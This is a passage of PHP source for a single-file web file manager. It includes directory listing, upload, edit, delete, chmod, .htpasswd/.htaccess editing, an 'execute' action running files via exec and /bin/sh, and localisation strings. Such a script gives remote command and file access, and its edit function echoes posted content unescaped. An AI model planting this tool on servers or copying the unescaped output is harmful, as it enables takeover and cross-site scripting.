950 if ($file['is_link']) $file['target'] = @readlink($path);
951
952 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
953 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
954
955 $files[] = $file;
956
957 }
958
959 }
960
961 return $files;
962
963 } else {
964 return false;
965 }
966
967}
968
969function sortlist (&$list, $key, $reverse) {
970
971 quicksort($list, 0, sizeof($list) - 1, $key);
972
973 if ($reverse) $list = array_reverse($list);
974
975}
976
977function quicksort (&$array, $first, $last, $key) {
978
979 if ($first < $last) {
980
981 $cmp = $array[floor(($first + $last) / 2)][$key];
982
983 $l = $first;
984 $r = $last;
985
986 while ($l <= $r) {
987
988 while ($array[$l][$key] < $cmp) $l++;
989 while ($array[$r][$key] > $cmp) $r--;
990
991 if ($l <= $r) {
992
993 $tmp = $array[$l];
994 $array[$l] = $array[$r];
995 $array[$r] = $tmp;
996
997 $l++;
998 $r--;
999
1000 }
1001
1002 }
1003
1004 quicksort($array, $first, $r, $key);
1005 quicksort($array, $l, $last, $key);
1006
1007 }
1008
1009}
1010
1011function permission_octal2string ($mode) {
1012
1013 if (($mode & 0xC000) === 0xC000) {
1014 $type = 's';
1015 } elseif (($mode & 0xA000) === 0xA000) {
1016 $type = 'l';
1017 } elseif (($mode & 0x8000) === 0x8000) {
1018 $type = '-';
1019 } elseif (($mode & 0x6000) === 0x6000) {
1020 $type = 'b';
1021 } elseif (($mode & 0x4000) === 0x4000) {
1022 $type = 'd';
1023 } elseif (($mode & 0x2000) === 0x2000) {
1024 $type = 'c';
1025 } elseif (($mode & 0x1000) === 0x1000) {
1026 $type = 'p';
1027 } else {
1028 $type = '?';
1029 }
1030
1031 $owner = ($mode & 00400) ? 'r' : '-';
1032 $owner .= ($mode & 00200) ? 'w' : '-';
1033 if ($mode & 0x800) {
1034 $owner .= ($mode & 00100) ? 's' : 'S';
1035 } else {
1036 $owner .= ($mode & 00100) ? 'x' : '-';
1037 }
1038
1039 $group = ($mode & 00040) ? 'r' : '-';
1040 $group .= ($mode & 00020) ? 'w' : '-';
1041 if ($mode & 0x400) {
1042 $group .= ($mode & 00010) ? 's' : 'S';
1043 } else {
1044 $group .= ($mode & 00010) ? 'x' : '-';
1045 }
1046
1047 $other = ($mode & 00004) ? 'r' : '-';
1048 $other .= ($mode & 00002) ? 'w' : '-';
1049 if ($mode & 0x200) {
1050 $other .= ($mode & 00001) ? 't' : 'T';
1051 } else {
1052 $other .= ($mode & 00001) ? 'x' : '-';
1053 }
1054
1055 return $type . $owner . $group . $other;
1056
1057}
1058
1059function is_script ($filename) {
1060 return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
1061}
1062
1063function getmimetype ($filename) {
1064 static $mimes = array(
1065 '\.jpg$|\.jpeg$' => 'image/jpeg',
1066 '\.gif$' => 'image/gif',
1067 '\.png$' => 'image/png',
1068 '\.html$|\.html$' => 'text/html',
1069 '\.txt$|\.asc$' => 'text/plain',
1070 '\.xml$|\.xsl$' => 'application/xml',
1071 '\.pdf$' => 'application/pdf'
1072 );
1073
1074 foreach ($mimes as $regex => $mime) {
1075 if (eregi($regex, $filename)) return $mime;
1076 }
1077
1078 // return 'application/octet-stream';
1079 return 'text/plain';
1080
1081}
1082
1083function del ($file) {
1084 global $delim;
1085
1086 if (!@is_link($file) && !file_exists($file)) return false;
1087
1088 if (!@is_link($file) && @is_dir($file)) {
1089
1090 if ($dir = @opendir($file)) {
1091
1092 $error = false;
1093
1094 while (($f = readdir($dir)) !== false) {
1095 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
1096 $error = true;
1097 }
1098 }
1099 closedir($dir);
1100
1101 if (!$error) return @rmdir($file);
1102
1103 return !$error;
1104
1105 } else {
1106 return false;
1107 }
1108
1109 } else {
1110 return @unlink($file);
1111 }
1112
1113}
1114
1115function addslash ($directory) {
1116 global $delim;
1117
1118 if (substr($directory, -1, 1) != $delim) {
1119 return $directory . $delim;
1120 } else {
1121 return $directory;
1122 }
1123
1124}
1125
1126function relative2absolute ($string, $directory) {
1127
1128 if (path_is_relative($string)) {
1129 return simplify_path(addslash($directory) . $string);
1130 } else {
1131 return simplify_path($string);
1132 }
1133
1134}
1135
1136function path_is_relative ($path) {
1137 global $win;
1138
1139 if ($win) {
1140 return (substr($path, 1, 1) != ':');
1141 } else {
1142 return (substr($path, 0, 1) != '/');
1143 }
1144
1145}
1146
1147function absolute2relative ($directory, $target) {
1148 global $delim;
1149
1150 $path = '';
1151 while ($directory != $target) {
1152 if ($directory == substr($target, 0, strlen($directory))) {
1153 $path .= substr($target, strlen($directory));
1154 break;
1155 } else {
1156 $path .= '..' . $delim;
1157 $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
1158 }
1159 }
1160 if ($path == '') $path = '.';
1161
1162 return $path;
1163
1164}
1165
1166function simplify_path ($path) {
1167 global $delim;
1168
1169 if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
1170 $path = realpath($path);
1171 if (@is_dir($path)) {
1172 return addslash($path);
1173 } else {
1174 return $path;
1175 }
1176 }
1177
1178 $pattern = $delim . '.' . $delim;
1179
1180 if (@is_dir($path)) {
1181 $path = addslash($path);
1182 }
1183
1184 while (strpos($path, $pattern) !== false) {
1185 $path = str_replace($pattern, $delim, $path);
1186 }
1187
1188 $e = addslashes($delim);
1189 $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
1190
1191 while (ereg($regex, $path)) {
1192 $path = ereg_replace($regex, $delim, $path);
1193 }
1194
1195 return $path;
1196
1197}
1198
1199function human_filesize ($filesize) {
1200
1201 $suffices = 'kMGTPE';
1202
1203 $n = 0;
1204 while ($filesize >= 1000) {
1205 $filesize /= 1024;
1206 $n++;
1207 }
1208
1209 $filesize = round($filesize, 3 - strpos($filesize, '.'));
1210
1211 if (strpos($filesize, '.') !== false) {
1212 while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
1213 $filesize = substr($filesize, 0, strlen($filesize) - 1);
1214 }
1215 }
1216
1217 $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
1218
1219 return $filesize . " {$suffix}B";
1220
1221}
1222
1223function strip (&$str) {
1224 $str = stripslashes($str);
1225}
1226
1227/* ------------------------------------------------------------------------- */
1228
1229function listing_page ($message = null) {
1230 global $self, $directory, $sort, $reverse;
1231
1232 html_header();
1233
1234 $list = getlist($directory);
1235
1236 if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
1237 if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
1238
1239 sortlist($list, $sort, $reverse);
1240
1241 echo '
1242
1243<form enctype="multipart/form-data" action="' . $self . '" method="post">
1244
1245<table id="main">
1246';
1247
1248 directory_choice();
1249
1250 if (!empty($message)) {
1251 spacer();
1252 echo $message;
1253 }
1254
1255 if (@is_writable($directory)) {
1256 upload_box();
1257 create_box();
1258 } else {
1259 spacer();
1260 }
1261
1262 if ($list) {
1263 listing($list);
1264 } else {
1265 echo error('not_readable', $directory);
1266 }
1267
1268 echo '</table>
1269
1270</form>
1271
1272';
1273
1274 html_footer();
1275
1276}
1277
1278function listing ($list) {
1279 global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
1280
1281 echo '<tr class="listing">
1282 <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
1283';
1284
1285 $d = 'dir=' . urlencode($directory) . '&';
1286
1287 if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = '';
1288 echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>";
1289 if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = '';
1290 echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>";
1291if (!$win) {
1292
1293 if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = '';
1294 echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>";
1295 if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = '';
1296 echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>";
1297 if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = '';
1298 echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>";
1299 }
1300 echo ' <th class="functions">' . word('functions') . '</th>
1301</tr>
1302';
1303
1304 for ($i = 0; $i < sizeof($list); $i++) {
1305 $file = $list[$i];
1306
1307 $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
1308 $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
1309 $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
1310
1311 echo '<tr class="listing">
1312 <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
1313 <td class="filename" title="' . html($timestamps) . '">';
1314
1315 if ($file['is_link']) {
1316
1317 echo '<img src="' . $self . '?image=link" alt="link" /> ';
1318 echo html($file['filename']) . ' → ';
1319
1320 $real_file = relative2absolute($file['target'], $directory);
1321
1322 if (@is_readable($real_file)) {
1323 if (@is_dir($real_file)) {
1324 echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
1325 } else {
1326 echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
1327 }
1328 } else {
1329 echo html($file['target']);
1330 }
1331
1332 } elseif ($file['is_dir']) {
1333
1334 echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
1335 if ($win || $file['is_executable']) {
1336 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1337 } else {
1338 echo html($file['filename']);
1339 }
1340 echo ' ]';
1341
1342 } else {
1343
1344 if (substr($file['filename'], 0, 1) == '.') {
1345 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
1346 } else {
1347 echo '<img src="' . $self . '?image=file" alt="file" /> ';
1348 }
1349
1350 if ($file['is_file'] && $file['is_readable']) {
1351 echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1352 } else {
1353 echo html($file['filename']);
1354 }
1355
1356 }
1357
1358 if ($file['size'] >= 1000) {
1359 $human = ' title="' . human_filesize($file['size']) . '"';
1360 } else {
1361 $human = '';
1362 }
1363
1364 echo "\t<td class=\"size\"$human>{$file['size']} B</td>";
1365
1366 if (!$win) {
1367
1368 echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
1369
1370 $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
1371 if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
1372 echo html(permission_octal2string($file['permission']));
1373 if ($l) echo '</a>';
1374
1375 echo "</td>";
1376
1377 if (array_key_exists('owner_name', $file)) {
1378 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>";
1379 } else {
1380 echo "\t<td class=\"owner\">{$file['owner']}</td>";
1381 }
1382 if (array_key_exists('group_name', $file)) {
1383 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>
1384";
1385 } else {
1386 echo "\t<td class=\"group\">{$file['group']}</td>
1387";
1388 }
1389
1390 }
1391
1392 echo ' <td class="functions">
1393 <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
1394';
1395
1396 $actions = array();
1397 if (function_exists('symlink')) {
1398 $actions[] = 'create_symlink';
1399 }
1400 if (@is_writable(dirname($file['path']))) {
1401 $actions[] = 'delete';
1402 $actions[] = 'rename';
1403 $actions[] = 'move';
1404 }
1405 if ($file['is_file'] && $file['is_readable']) {
1406 $actions[] = 'copy';
1407 $actions[] = 'download';
1408 if ($file['is_writable']) $actions[] = 'edit';
1409 }
1410 if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
1411 $actions[] = 'execute';
1412 }
1413
1414 if (sizeof($actions) > 0) {
1415
1416 echo ' <select class="small" name="action' . $i . '" size="1">
1417 <option value="">' . str_repeat(' ', 30) . '</option>
1418';
1419
1420 foreach ($actions as $action) {
1421 echo "\t\t<option value=\"$action\">" . word($action) . "</option>
1422";
1423 }
1424
1425 echo ' </select>
1426 <input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
1427';
1428
1429 }
1430
1431 echo ' </td>
1432</tr>
1433';
1434
1435 }
1436
1437 echo '<tr class="listing_footer">
1438 <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
1439 <td colspan="' . ($cols - 1) . '">
1440 <input type="hidden" name="num" value="' . sizeof($list) . '" />
1441 <input type="hidden" name="focus" value="" />
1442 <input type="hidden" name="olddir" value="' . html($directory) . '" />
1443';
1444
1445 $actions = array();
1446 if (@is_writable(dirname($file['path']))) {
1447 $actions[] = 'delete';
1448 $actions[] = 'move';
1449 }
1450 $actions[] = 'copy';
1451
1452 echo ' <select class="small" name="action_all" size="1">
1453 <option value="">' . str_repeat(' ', 30) . '</option>
1454';
1455
1456 foreach ($actions as $action) {
1457 echo "\t\t<option value=\"$action\">" . word($action) . "</option>
1458";
1459 }
1460
1461 echo ' </select>
1462 <input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
1463 </td>
1464</tr>
1465';
1466
1467}
1468
1469function directory_choice () {
1470 global $directory, $homedir, $cols, $self;
1471
1472 echo '<tr>
1473 <td colspan="' . $cols . '" id="directory">
1474 <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
1475 <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
1476 <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
1477 </td>
1478</tr>
1479';
1480
1481}
1482
1483function upload_box () {
1484 global $cols;
1485
1486 echo '<tr>
1487 <td colspan="' . $cols . '" id="upload">
1488 ' . word('file') . ':
1489 <input type="file" name="upload" onfocus="activate(\'other\')" />
1490 <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
1491 </td>
1492</tr>
1493';
1494
1495}
1496
1497function create_box () {
1498 global $cols;
1499
1500 echo '<tr>
1501 <td colspan="' . $cols . '" id="create">
1502 <select name="create_type" size="1" onfocus="activate(\'create\')">
1503 <option value="file">' . word('file') . '</option>
1504 <option value="directory">' . word('directory') . '</option>
1505 </select>
1506 <input type="text" name="create_name" onfocus="activate(\'create\')" />
1507 <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
1508 </td>
1509</tr>
1510';
1511
1512}
1513
1514function edit ($file) {
1515 global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
1516
1517 html_header();
1518
1519 echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
1520
1521<form action="' . $self . '" method="post">
1522
1523<table class="dialog">
1524<tr>
1525<td class="dialog">
1526
1527 <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
1528
1529 if (array_key_exists('content', $_POST)) {
1530 echo $_POST['content'];
1531 } else {
1532 $f = fopen($file, 'r');
1533 while (!feof($f)) {
1534 echo html(fread($f, 8192));
1535 }
1536 fclose($f);
1537 }
1538
1539 if (!empty($_POST['user'])) {
1540 echo "\
1541" . $_POST['user'] . ':' . crypt($_POST['password']);
1542 }
1543 if (!empty($_POST['basic_auth'])) {
1544 if ($win) {
1545 $authfile = str_replace('\\', '/', $directory) . $htpasswd;
1546 } else {
1547 $authfile = $directory . $htpasswd;
1548 }
1549 echo "\
1550AuthType Basic\
1551AuthName "Restricted Directory"\
1552";
1553 echo 'AuthUserFile "' . html($authfile) . ""\
1554";
1555 echo 'Require valid-user';
1556 }
1557
1558 echo '</textarea>
1559
1560 <hr />
1561';
1562
1563 if ($apache && basename($file) == $htpasswd) {
1564 echo '
1565 ' . word('user') . ': <input type="text" name="user" />
1566 ' . word('password') . ': <input type="password" name="password" />
1567 <input type="submit" value="' . word('add') . '" />
1568
1569 <hr />
1570';
1571
1572 }
1573
1574 if ($apache && basename($file) == $htaccess) {
1575 echo '
1576 <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
1577
1578 <hr />
1579';
1580
1581 }
1582
1583 echo '
1584 <input type="hidden" name="action" value="edit" />
1585 <input type="hidden" name="file" value="' . html($file) . '" />
1586 <input type="hidden" name="dir" value="' . html($directory) . '" />
1587 <input type="reset" value="' . word('reset') . '" id="red_button" />
1588 <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
1589
1590</td>
1591</tr>
1592</table>
1593
1594<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1595
1596</form>
1597
1598';
1599
1600 html_footer();
1601
1602}
1603
1604function spacer () {
1605 global $cols;
1606
1607 echo '<tr>
1608 <td colspan="' . $cols . '" style="height: 1em"></td>
1609</tr>
1610';
1611
1612}
1613
1614function textfieldsize ($content) {
1615
1616 $size = strlen($content) + 5;
1617 if ($size < 30) $size = 30;
1618
1619 return $size;
1620
1621}
1622
1623function request_dump () {
1624
1625 foreach ($_REQUEST as $key => $value) {
1626 echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />";
1627 }
1628
1629}
1630
1631/* ------------------------------------------------------------------------- */
1632
1633function html ($string) {
1634 global $site_charset;
1635 return htmlentities($string, ENT_COMPAT, $site_charset);
1636}
1637
1638function word ($word) {
1639 global $words, $word_charset;
1640 return htmlentities($words[$word], ENT_COMPAT, $word_charset);
1641}
1642
1643function phrase ($phrase, $arguments) {
1644 global $words;
1645 static $search;
1646
1647 if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
1648
1649 for ($i = 0; $i < sizeof($arguments); $i++) {
1650 $arguments[$i] = nl2br(html($arguments[$i]));
1651 }
1652
1653 $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
1654
1655 return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
1656
1657}
1658
1659function getwords ($lang) {
1660 global $word_charset, $date_format;
1661
1662 switch ($lang) {
1663 case 'de':
1664
1665 $date_format = 'd.m.y H:i:s';
1666 $word_charset = 'ISO-8859-1';
1667
1668 return array(
1669'directory' => 'Verzeichnis',
1670'file' => 'Datei',
1671'filename' => 'Dateiname',
1672
1673'size' => 'Gr??e',
1674'permission' => 'Rechte',
1675'owner' => 'Eigner',
1676'group' => 'Gruppe',
1677'other' => 'Andere',
1678'functions' => 'Funktionen',
1679
1680'read' => 'lesen',
1681'write' => 'schreiben',
1682'execute' => 'ausf?hren',
1683
1684'create_symlink' => 'Symlink erstellen',
1685'delete' => 'l?schen',
1686'rename' => 'umbenennen',
1687'move' => 'verschieben',
1688'copy' => 'kopieren',
1689'edit' => 'editieren',
1690'download' => 'herunterladen',
1691'upload' => 'hochladen',
1692'create' => 'erstellen',
1693'change' => 'wechseln',
1694'save' => 'speichern',
1695'set' => 'setze',
1696'reset' => 'zur?cksetzen',
1697'relative' => 'Pfad zum Ziel relativ',
1698
1699'yes' => 'Ja',
1700'no' => 'Nein',
1701'back' => 'zur?ck',
1702'destination' => 'Ziel',
1703'symlink' => 'Symbolischer Link',
1704'no_output' => 'keine Ausgabe',
1705
1706'user' => 'Benutzername',
1707'password' => 'Kennwort',
1708'add' => 'hinzuf?gen',
1709'add_basic_auth' => 'HTTP-Basic-Auth hinzuf?gen',
1710
1711'uploaded' => '"[%1]" wurde hochgeladen.',
1712'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
1713'already_exists' => '"[%1]" existiert bereits.',
1714'created' => '"[%1]" wurde erstellt.',
1715'not_created' => '"[%1]" konnte nicht erstellt werden.',
1716'really_delete' => 'Sollen folgende Dateien wirklich gel?scht werden?',
1717'deleted' => "Folgende Dateien wurden gel?scht:\
1718[%1]",
1719'not_deleted' => "Folgende Dateien konnten nicht gel?scht werden:\
1720[%1]",
1721'rename_file' => 'Benenne Datei um:',
1722'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
1723'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
1724'move_files' => 'Verschieben folgende Dateien:',
1725'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\
1726[%1]",
1727'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\
1728[%1]",
1729'copy_files' => 'Kopiere folgende Dateien:',
1730'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\
1731[%1]",
1732'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\
1733[%1]",
1734'not_edited' => '"[%1]" kann nicht editiert werden.',
1735'executed' => "\"[%1]\" wurde erfolgreich ausgef?hrt:\
1736{%2}",
1737'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgef?hrt werden:\
1738{%2}",
1739'saved' => '"[%1]" wurde gespeichert.',
1740'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
1741'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
1742'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
1743'permission_for' => 'Rechte f?r "[%1]":',
1744'permission_set' => 'Die Rechte f?r "[%1]" wurden auf [%2] gesetzt.',
1745'permission_not_set' => 'Die Rechte f?r "[%1]" konnten nicht auf [%2] gesetzt werden.',
1746'not_readable' => '"[%1]" kann nicht gelesen werden.'
1747 );
1748
1749 case 'fr':
1750
1751 $date_format = 'd.m.y H:i:s';
1752 $word_charset = 'ISO-8859-1';
1753
1754 return array(
1755'directory' => 'R?pertoire',
1756'file' => 'Fichier',
1757'filename' => 'Nom fichier',
1758
1759'size' => 'Taille',
1760'permission' => 'Droits',
1761'owner' => 'Propri?taire',
1762'group' => 'Groupe',
1763'other' => 'Autres',
1764'functions' => 'Fonctions',
1765
1766'read' => 'Lire',
1767'write' => 'Ecrire',
1768'execute' => 'Ex?cuter',
1769
1770'create_symlink' => 'Cr?er lien symbolique',
1771'delete' => 'Effacer',
1772'rename' => 'Renommer',
1773'move' => 'D?placer',
1774'copy' => 'Copier',
1775'edit' => 'Ouvrir',
1776'download' => 'T?l?charger sur PC',
1777'upload' => 'T?l?charger sur serveur',
1778'create' => 'Cr?er',
1779'change' => 'Changer',
1780'save' => 'Sauvegarder',
1781'set' => 'Ex?cuter',
1782'reset' => 'R?initialiser',
1783'relative' => 'Relatif',
1784
1785'yes' => 'Oui',
1786'no' => 'Non',
1787'back' => 'Retour',
1788'destination' => 'Destination',
1789'symlink' => 'Lien symbollique',
1790'no_output' => 'Pas de sortie',
1791
1792'user' => 'Utilisateur',
1793'password' => 'Mot de passe',
1794'add' => 'Ajouter',
1795'add_basic_auth' => 'add basic-authentification',
1796
1797'uploaded' => '"[%1]" a ?t? t?l?charg? sur le serveur.',
1798'not_uploaded' => '"[%1]" n a pas ?t? t?l?charg? sur le serveur.',
1799'already_exists' => '"[%1]" existe d?j? .',
1800'created' => '"[%1]" a ?t? cr??.',
1801'not_created' => '"[%1]" n a pas pu ?tre cr??.',
1802'really_delete' => 'Effacer le fichier?',
1803'deleted' => "Ces fichiers ont ?t? d?tuits:\
1804[%1]",
1805'not_deleted' => "Ces fichiers n ont pu ?tre d?truits:\
1806[%1]",
1807'rename_file' => 'Renomme fichier:',
1808'renamed' => '"[%1]" a ?t? renomm? en "[%2]".',
1809'not_renamed' => '"[%1] n a pas pu ?tre renomm? en "[%2]".',
1810'move_files' => 'D?placer ces fichiers:',
1811'moved' => "Ces fichiers ont ?t? d?plac?s en \"[%2]\":\
1812[%1]",
1813'not_moved' => "Ces fichiers n ont pas pu ?tre d?plac?s en \"[%2]\":\
1814[%1]",
1815'copy_files' => 'Copier ces fichiers:',
1816'copied' => "Ces fichiers ont ?t? copi?s en \"[%2]\":\
1817[%1]",
1818'not_copied' => "Ces fichiers n ont pas pu ?tre copi?s en \"[%2]\":\
1819[%1]",
1820'not_edited' => '"[%1]" ne peut ?tre ouvert.',
1821'executed' => "\"[%1]\" a ?t? brillamment ex?cut? :\
1822{%2}",
1823'not_executed' => "\"[%1]\" n a pas pu ?tre ex?cut?:\
1824{%2}",
1825'saved' => '"[%1]" a ?t? sauvegard?.',
1826'not_saved' => '"[%1]" n a pas pu ?tre sauvegard?.',
1827'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a ?t? cr?e.',
1828'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu ?tre cr??.',
1829'permission_for' => 'Droits de "[%1]":',
1830'permission_set' => 'Droits de "[%1]" ont ?t? chang?s en [%2].',
1831'permission_not_set' => 'Droits de "[%1]" n ont pas pu ?tre chang?s en[%2].',
1832'not_readable' => '"[%1]" ne peut pas ?tre ouvert.'
1833 );
1834
1835 case 'it':
1836
1837 $date_format = 'd-m-Y H:i:s';
1838 $word_charset = 'ISO-8859-1';
1839
1840 return array(
1841'directory' => 'Directory',
1842'file' => 'File',
1843'filename' => 'Nome File',
1844
1845'size' => 'Dimensioni',
1846'permission' => 'Permessi',
1847'owner' => 'Proprietario',
1848'group' => 'Gruppo',
1849'other' => 'Altro',
1850'functions' => 'Funzioni',
1851
1852'read' => 'leggi',
1853'write' => 'scrivi',
1854'execute' => 'esegui',
1855
1856'create_symlink' => 'crea link simbolico',
1857'delete' => 'cancella',
1858'rename' => 'rinomina',
1859'move' => 'sposta',
1860'copy' => 'copia',
1861'edit' => 'modifica',
1862'download' => 'download',
1863'upload' => 'upload',
1864'create' => 'crea',
1865'change' => 'cambia',
1866'save' => 'salva',
1867'set' => 'imposta',
1868'reset' => 'reimposta',
1869'relative' => 'Percorso relativo per la destinazione',
1870
1871'yes' => 'Si',
1872'no' => 'No',
1873'back' => 'indietro',
1874'destination' => 'Destinazione',
1875'symlink' => 'Link simbolico',
1876'no_output' => 'no output',
1877
1878'user' => 'User',
1879'password' => 'Password',
1880'add' => 'aggiungi',
1881'add_basic_auth' => 'aggiungi autenticazione base',
1882
1883'uploaded' => '"[%1]" ? stato caricato.',
1884'not_uploaded' => '"[%1]" non ? stato caricato.',
1885'already_exists' => '"[%1]" esiste gi? .',
1886'created' => '"[%1]" ? stato creato.',
1887'not_created' => '"[%1]" non ? stato creato.',
1888'really_delete' => 'Cancello questi file ?',
1889'deleted' => "Questi file sono stati cancellati:\
1890[%1]",
1891'not_deleted' => "Questi file non possono essere cancellati:\
1892[%1]",
1893'rename_file' => 'File rinominato:',
1894'renamed' => '"[%1]" ? stato rinominato in "[%2]".',
1895'not_renamed' => '"[%1] non ? stato rinominato in "[%2]".',
1896'move_files' => 'Sposto questi file:',
1897'moved' => "Questi file sono stati spostati in \"[%2]\":\
1898[%1]",
1899'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\
1900[%1]",
1901'copy_files' => 'Copio questi file',
1902'copied' => "Questi file sono stati copiati in \"[%2]\":\
1903[%1]",
1904'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\
1905[%1]",
1906'not_edited' => '"[%1]" non pu? essere modificato.',
1907'executed' => "\"[%1]\" ? stato eseguito con successo:\
1908{%2}",
1909'not_executed' => "\"[%1]\" non ? stato eseguito con successo\
1910{%2}",
1911'saved' => '"[%1]" ? stato salvato.',
1912'not_saved' => '"[%1]" non ? stato salvato.',
1913'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" ? stato creato.',
1914'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non ? stato creato.',
1915'permission_for' => 'Permessi di "[%1]":',
1916'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
1917'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
1918'not_readable' => '"[%1]" non pu? essere letto.'
1919 );
1920
1921 case 'nl':
1922
1923 $date_format = 'n/j/y H:i:s';
1924 $word_charset = 'ISO-8859-1';
1925
1926 return array(
1927'directory' => 'Directory',
1928'file' => 'Bestand',
1929'filename' => 'Bestandsnaam',
1930
1931'size' => 'Grootte',
1932'permission' => 'Bevoegdheid',
1933'owner' => 'Eigenaar',
1934'group' => 'Groep',
1935'other' => 'Anderen',
1936'functions' => 'Functies',
1937
1938'read' => 'lezen',
1939'write' => 'schrijven',
1940'execute' => 'uitvoeren',
1941
1942'create_symlink' => 'maak symlink',
1943'delete' => 'verwijderen',
1944'rename' => 'hernoemen',
1945'move' => 'verplaatsen',
1946'copy' => 'kopieren',
1947'edit' => 'bewerken',
1948'download' => 'downloaden',
1949'upload' => 'uploaden',
1950'create' => 'aanmaken',
1951'change' => 'veranderen',
1952'save' => 'opslaan',
1953'set' => 'instellen',
1954'reset' => 'resetten',
1955'relative' => 'Relatief pat naar doel',
1956
1957'yes' => 'Ja',
1958'no' => 'Nee',
1959'back' => 'terug',
1960'destination' => 'Bestemming',
1961'symlink' => 'Symlink',
1962'no_output' => 'geen output',
1963
1964'user' => 'Gebruiker',
1965'password' => 'Wachtwoord',
1966'add' => 'toevoegen',
1967'add_basic_auth' => 'add basic-authentification',
1968
1969'uploaded' => '"[%1]" is verstuurd.',
1970'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
1971'already_exists' => '"[%1]" bestaat al.',
